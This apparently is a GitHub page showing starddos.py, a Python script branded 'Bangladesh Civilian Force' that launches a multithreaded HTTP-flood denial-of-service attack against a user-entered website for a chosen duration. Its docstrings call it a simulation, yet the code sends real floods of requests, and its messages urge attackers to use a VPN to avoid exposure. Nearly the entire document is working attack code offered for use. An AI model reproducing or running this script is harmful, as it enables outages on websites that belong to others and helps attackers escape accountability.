-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathstarddos.py
102 lines (83 loc) · 5.19 KB
/
starddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import requests
import threading
import time
from colorama import init, Fore, Style
# ভালো কাজে ব্যাবহার কইরেন!!! আইপি এক্সপস হইলে আপনি শেষ⚠
# Initialize colorama to support ANSI escape sequences on Windows
init(autoreset=True)
def establish_connection(url):
"""
Establish a connection to the URL.
"""
try:
response = requests.get(url)
print(Fore.GREEN + "Connection established with", url)
return True
except requests.RequestException as e:
print(Fore.RED + "Error establishing connection:", e)
return False
def send_request(session, url):
"""
Send a request to the URL. Simulate DDoS attack.
"""
try:
response = session.get(url)
print(Fore.YELLOW + "★ ★ 𝑫 𝑫 𝒐 𝑺 𝑨 𝒕 𝒕 𝒂 𝒄 𝒌 𝑫 𝒐 𝒏 𝒆 ★ ★")
except requests.RequestException as e:
print(Fore.RED + "Error occurred during DDoS attack:", e)
def start_ddos(url, num_threads=1000, duration=60):
"""
Start a simulated DDoS attack on the specified URL.
"""
if not establish_connection(url):
print(Fore.RED + "Exiting program.")
return
print(Fore.CYAN + "Setting up threads...")
time.sleep(5) # Wait for 5 seconds before setting up threads
end_time = time.time() + duration
threads = []
def attack():
with requests.Session() as session:
while time.time() < end_time:
send_request(session, url)
batch_size = 100
while time.time() < end_time:
for _ in range(batch_size):
if time.time() >= end_time:
break
thread = threading.Thread(target=attack)
threads.append(thread)
thread.start()
# Sleep for 0.5 seconds before starting the next batch
time.sleep(0.5)
# Clean up finished threads to avoid memory issues
threads = [t for t in threads if t.is_alive()]
# Wait for all threads to finish
for thread in threads:
thread.join()
print(Fore.GREEN + "DDoS attack simulation completed.")
def main():
"""
Main function to drive the script.
"""
ascii_art = """
░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░▒▓████████▓▒░▒▓██████▓▒░░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
𝔅𝔞𝔫𝔤𝔩𝔞𝔡𝔢𝔰𝔥 ℭ𝔦𝔳𝔦𝔩𝔦𝔞𝔫 𝔉𝔬𝔯𝔠𝔢
"""
print(Fore.WHITE + ascii_art)
# User input section
target_website = input("Enter the target website link: ")
target_ip = input("Enter the target IP address: ")
total_threads = int(input("Enter the total threads (default is 1000): ") or 1000)
attack_time = int(input("Enter the attack time in seconds (default is 60): ") or 60)
print(Fore.RED + Style.BRIGHT + "USE VPN - USE VPN - USE VPN")
# Start DDoS attack simulation
start_ddos(target_website, total_threads, attack_time)
if __name__ == "__main__":
main()